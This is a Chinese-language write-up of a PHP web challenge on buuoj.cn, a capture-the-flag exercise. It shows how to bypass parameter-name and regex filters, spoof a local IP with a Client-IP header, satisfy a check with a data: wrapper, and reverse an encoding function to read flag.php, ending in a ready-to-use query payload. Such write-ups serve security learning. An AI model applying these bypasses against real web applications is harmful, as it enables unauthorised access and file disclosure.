平台:buuoj.cn
打开靶机源码处php代码
第一个if如果传入的参数出现_
和它的url编码%5f
,则打印Y0u are So cutE!
绕过:用.
或空格代替_
第二个if要b_u_r_t的值为23333但添加了正则匹配,用^
和$
来界定23333的首尾,代表了“行的开头和结尾”,只匹配一行,因此%0a换行绕过
打开secrettw.php
提示本地,xff不行,用client-ip
下面的jsfuck代码直接控制台输出
那么就post一个Merak随便传个值
回显php,代码如下
<?php
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';
if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}
function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>
看最后一个if,$ip===127.0.0.1刚已经用client-ip满足条件,file_get_content使用伪协议2333=data:text/plain,todat is a happy day
满足if之后就会打印出get传入file指名文件的内容。
我们的目的是读取flag.php,但file名经过了change函数处理,把flag.php处理成乱码字符
那么反过来,让传入的字符串经过change之后变成flag.php即可
<?php
function change($v){
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) - $i*2 );
}
return $re;
}
$v = 'flag.php';
echo base64_encode(change($v));
//ZmpdYSZmXGI=
最终payload
?2333=data:text/plain,todat is a happy day&file=ZmpdYSZmXGI=
传入即可